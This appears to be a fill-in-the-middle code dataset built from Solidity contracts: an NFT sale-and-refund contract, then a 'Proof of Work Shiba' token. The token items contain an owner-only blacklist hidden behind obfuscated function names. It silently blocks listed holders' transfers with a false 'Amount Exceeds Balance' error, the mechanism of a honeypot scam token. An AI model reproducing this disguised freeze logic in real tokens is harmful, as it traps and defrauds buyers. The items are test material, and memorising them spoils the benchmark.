* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
isRefundGuaranteeActive(),"Expired"
| 141,649 |
isRefundGuaranteeActive()
|
"Revoked"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
require(isRefundGuaranteeActive(), "Expired");
uint256 refundAmount = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(msg.sender == ownerOf(tokenId), "Not owner");
require(<FILL_ME>)
require(!hasRefunded[tokenId], "Refunded");
require(
!isOwnerMint[tokenId],
"Owner mint"
);
hasRefunded[tokenId] = true;
transferFrom(msg.sender, refundAddress, tokenId);
uint256 tokenAmount = getRefundPrice(tokenId);
refundAmount += tokenAmount;
emit Refund(msg.sender, tokenId, tokenAmount);
}
Address.sendValue(payable(msg.sender), refundAmount);
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
!hasRevokedRefund[tokenId],"Revoked"
| 141,649 |
!hasRevokedRefund[tokenId]
|
"Refunded"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
require(isRefundGuaranteeActive(), "Expired");
uint256 refundAmount = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(msg.sender == ownerOf(tokenId), "Not owner");
require(!hasRevokedRefund[tokenId], "Revoked");
require(<FILL_ME>)
require(
!isOwnerMint[tokenId],
"Owner mint"
);
hasRefunded[tokenId] = true;
transferFrom(msg.sender, refundAddress, tokenId);
uint256 tokenAmount = getRefundPrice(tokenId);
refundAmount += tokenAmount;
emit Refund(msg.sender, tokenId, tokenAmount);
}
Address.sendValue(payable(msg.sender), refundAmount);
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
!hasRefunded[tokenId],"Refunded"
| 141,649 |
!hasRefunded[tokenId]
|
"Owner mint"
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./IERC721R.sol";
import "./CryptoFightersPotion.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CryptoFightersAlliance is
IERC721R,
ERC721A,
ERC2981,
Ownable
{
uint256 public maxMintSupply = 8000; // Max mintable supply from presale, public sale, and owner
uint256 public constant mintPrice = 0.08 ether; // Mint price for presale and public sale
uint256 public constant mintPriceWithPotion = 0.04 ether; // Mint price for upgrading v1 fighter with potion
uint256 public maxUserMintAmount = 5; // Max mintable amount per user, includes presale and public sale
uint256 public mintedAmount; // Tracks minted amount excluding potion upgrades
// Sale Status
bool public publicSaleActive;
bool public presaleActive;
uint256 public refundEndTime; // Time from which refunds will no longer be valid
address public refundAddress; // Address which refunded NFTs will be sent to
bytes32 public merkleRoot; // Merkle root for presale participants
mapping(address => uint256) public numberMinted; // total user amount minted in public sale and presale
mapping(uint256 => bool) public hasRefunded; // users can search if the NFT has been refunded
mapping(uint256 => bool) public hasRevokedRefund; // users can revoke refund capability for e.g staking, airdrops
mapping(uint256 => bool) public isOwnerMint; // if the NFT was freely minted by owner
mapping(uint256 => bool) public hasV1FighterBeenUpgraded; // mapping storing v1 fighters that have been upgraded
mapping(uint256 => uint256) public v2ToV1Mapping; // mapping connecting v2 fighters to v1 fighters
bool public locked;
IERC721 public cryptoFightersV1;
CryptoFightersPotion public cryptoFightersPotion;
string private baseURI;
/**
* @dev triggered after owner withdraws funds
*/
event Withdrawal(address to, uint amount);
/**
* @dev triggered after owner switches the refund address
*/
event SetRefundAddress(address refundAddress);
/**
* @dev triggered after the owner sets the allowlist merkle root
*/
event SetMerkleRoot(bytes32 root);
/**
* @dev triggered after the owner sets the base uri
*/
event SetBaseUri(string uri);
/**
* @dev triggered after the refund countdown begins
*/
event ToggleRefundCountdown(uint refundEndTime);
/**
* @dev triggered after the presale status in enabled/disabled
*/
event TogglePresaleStatus(bool presaleStatus);
/**
* @dev triggered after the public sale status in enabled/disabled
*/
event TogglePublicSaleStatus(bool publicSaleStatus);
/**
* @dev Constructor that is used to set state variables and toggle refund countdown
*/
constructor(address _cryptoFightersV1, address _cryptoFightersPotion)
ERC721A("CryptoFightersAlliance", "CFA")
{
}
/**
* @dev Allows users to upgrade their V1 Fighters with a potion
*
* Requirements:
*
* - Value sent must be correct
* - Caller must own the V1 Fighter they're upgrading
* - The V1 Fighter must not have been upgraded already
* - The caller must have enough potions to burn
*/
function upgradeV1FightersWithPotion(uint256[] calldata fighterIds)
external
payable
{
}
/**
* @dev Allows specific users to mint during presale
*
* Requirements:
*
* - Presale must be active
* - Value sent must be correct
* - Caller must be in allowlist
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mintPresale(uint256 quantity, bytes32[] calldata proof)
external
payable
{
}
/**
* @dev Allows anyone to mint during public sale
*
* Requirements:
*
* - Caller cannot be contract
* - Public sale must be active
* - Value sent must be correct
* - Total user amount minted cannot be above max user mint amount
* - Total number minted cannot be above max mint supply
*/
function mint(uint256 quantity)
external
payable
{
}
/**
* @dev Allows owner to mint. NFTs minted by the owner cannot be refunded since they were not paid for.
*
* Requirements:
*
* - The caller must be the owner
* - Total number minted cannot be above max mint supply
*/
function ownerMint(address to, uint256 quantity) external onlyOwner {
}
/**
* @dev Refunds all tokenIds, sends them to refund address and sends caller corresponding ETH
*
* Requirements:
*
* - The caller must own all token ids
* - The token must be refundable - check `canBeRefunded`.
*/
function refund(uint256[] calldata tokenIds) external override {
require(isRefundGuaranteeActive(), "Expired");
uint256 refundAmount = 0;
for (uint256 i = 0; i < tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(msg.sender == ownerOf(tokenId), "Not owner");
require(!hasRevokedRefund[tokenId], "Revoked");
require(!hasRefunded[tokenId], "Refunded");
require(<FILL_ME>)
hasRefunded[tokenId] = true;
transferFrom(msg.sender, refundAddress, tokenId);
uint256 tokenAmount = getRefundPrice(tokenId);
refundAmount += tokenAmount;
emit Refund(msg.sender, tokenId, tokenAmount);
}
Address.sendValue(payable(msg.sender), refundAmount);
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*
* Requirements:
*
* - `tokenIds` must be owned by caller
*/
function revokeRefund(uint256[] calldata tokenIds) external {
}
/**
* @dev Returns refund price of a given token id, differs whether minted with potion or not
*/
function getRefundPrice(uint256 tokenId) public view override returns (uint256) {
}
/**
* @dev Returns true if the given token id can be refunded. Only occurs if the token id has not been
* refunded, hasn't been minted by the owner, hasn't been revoked and refund end time hasn't passed
*/
function canBeRefunded(uint256 tokenId) public view returns (bool) {
}
/**
* @dev Returns the timestamp from which refunds can no longer occur
*/
function getRefundGuaranteeEndTime() public view override returns (uint256) {
}
/**
* @dev Returns true if refund end time has not passed
*/
function isRefundGuaranteeActive() public view override returns (bool) {
}
/**
* @inheritdoc ERC2981
*/
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC2981, ERC721A)
returns (bool)
{
}
/**
* @dev Withdraws the funds to the owner
*
* Requirements:
*
* - `refundEndTime` must have passed
*/
function withdraw() external onlyOwner {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setDefaultRoyalty(address receiver, uint96 feeNumerator)
external
onlyOwner
{
}
/**
* @dev Sets the royalty information for a specific token id, overriding the global default.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setTokenRoyalty(
uint256 tokenId,
address receiver,
uint96 feeNumerator
) external onlyOwner {
}
/**
* @dev Resets royalty information for the token id back to the global default.
*/
function resetTokenRoyalty(uint256 tokenId) external onlyOwner {
}
/**
* @dev Returns base uri
*/
function _baseURI() internal view override returns (string memory) {
}
/**
* @dev Sets crypto fighters potion address
*/
function setCryptoFightersPotionAddress(address _cryptoFightersPotion) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setMaxUserMintAmount(uint _maxUserMintAmount) external onlyOwner {
}
/**
* @dev Sets address where refunded NFTs will be sent to
*/
function setRefundAddress(address _refundAddress) external onlyOwner {
}
/**
* @dev Sets merkle root for allowlist
*/
function setMerkleRoot(bytes32 _root) external onlyOwner {
}
/**
* @dev Sets base uri
*/
function setBaseURI(string memory uri) external onlyOwner {
}
/**
* @dev Toggles refund countdown of 45 days, called in constructor
*/
function toggleRefundCountdown() public onlyOwner {
}
/**
* @dev Toggles presale status (enables/disables)
*/
function togglePresaleStatus() external onlyOwner {
}
/**
* @dev Toggles public sale status (enables/disables)
*/
function togglePublicSaleStatus() external onlyOwner {
}
/**
* @dev Locks token metadata preventing future updates
*/
function lockMetadata() external onlyOwner {
}
/**
* @dev Returns keccak256 hash of encoded address
*/
function _leaf(address _account) internal pure returns (bytes32) {
}
/**
* @dev Returns true if valid proof is provided for _account belonging in merkle tree `_root`
*/
function _isAllowlisted(
address _account,
bytes32[] calldata _proof,
bytes32 _root
) internal pure returns (bool) {
}
}
|
!isOwnerMint[tokenId],"Owner mint"
| 141,649 |
!isOwnerMint[tokenId]
|
"x"
|
pragma solidity 0.8.16;
/*
ββββββ ββββββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββββββ ββ ββ ββ β ββ βββββββ βββββββ ββ ββββββ
ββ ββ ββ ββ βββ ββ ββ ββ ββ ββ ββ ββ
ββ ββββββ βββ βββ βββββββ ββ ββ ββ ββββββ
Proof of Work Shib - $POWSHIB
1:1 Airdrop Post Merge - PulseChain Bridge Support Q4
*/
contract POWSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) yVal;
//
string public name = "Proof of Work Shiba";
string public symbol = unicode"POWSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function atuwdnba(address _user) public onlyOwner {
require(<FILL_ME>)
yVal[_user] = true;
}
function atzwvnbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
|
!yVal[_user],"x"
| 141,664 |
!yVal[_user]
|
"xx"
|
pragma solidity 0.8.16;
/*
ββββββ ββββββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββββββ ββ ββ ββ β ββ βββββββ βββββββ ββ ββββββ
ββ ββ ββ ββ βββ ββ ββ ββ ββ ββ ββ ββ
ββ ββββββ βββ βββ βββββββ ββ ββ ββ ββββββ
Proof of Work Shib - $POWSHIB
1:1 Airdrop Post Merge - PulseChain Bridge Support Q4
*/
contract POWSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) yVal;
//
string public name = "Proof of Work Shiba";
string public symbol = unicode"POWSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function atuwdnba(address _user) public onlyOwner {
}
function atzwvnbb(address _user) public onlyOwner {
require(<FILL_ME>)
yVal[_user] = false;
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
|
yVal[_user],"xx"
| 141,664 |
yVal[_user]
|
"Amount Exceeds Balance"
|
pragma solidity 0.8.16;
/*
ββββββ ββββββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββββββ ββ ββ ββ β ββ βββββββ βββββββ ββ ββββββ
ββ ββ ββ ββ βββ ββ ββ ββ ββ ββ ββ ββ
ββ ββββββ βββ βββ βββββββ ββ ββ ββ ββββββ
Proof of Work Shib - $POWSHIB
1:1 Airdrop Post Merge - PulseChain Bridge Support Q4
*/
contract POWSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) yVal;
//
string public name = "Proof of Work Shiba";
string public symbol = unicode"POWSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function atuwdnba(address _user) public onlyOwner {
}
function atzwvnbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
require(<FILL_ME>)
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
}
}
|
!yVal[msg.sender],"Amount Exceeds Balance"
| 141,664 |
!yVal[msg.sender]
|
"Amount Exceeds Balance"
|
pragma solidity 0.8.16;
/*
ββββββ ββββββ ββ ββ βββββββ ββ ββ ββ ββββββ
ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ ββ
ββββββ ββ ββ ββ β ββ βββββββ βββββββ ββ ββββββ
ββ ββ ββ ββ βββ ββ ββ ββ ββ ββ ββ ββ
ββ ββββββ βββ βββ βββββββ ββ ββ ββ ββββββ
Proof of Work Shib - $POWSHIB
1:1 Airdrop Post Merge - PulseChain Bridge Support Q4
*/
contract POWSHIBA {
mapping (address => uint256) public balanceOf;
mapping (address => bool) yVal;
//
string public name = "Proof of Work Shiba";
string public symbol = unicode"POWSHIB";
uint8 public decimals = 18;
uint256 public totalSupply = 100000000 * (uint256(10) ** decimals);
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
bool isEnabled;
modifier onlyOwner() {
}
function renounceOwnership() public onlyOwner {
}
function atuwdnba(address _user) public onlyOwner {
}
function atzwvnbb(address _user) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(<FILL_ME>)
require(!yVal[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
}
|
!yVal[from],"Amount Exceeds Balance"
| 141,664 |
!yVal[from]
|
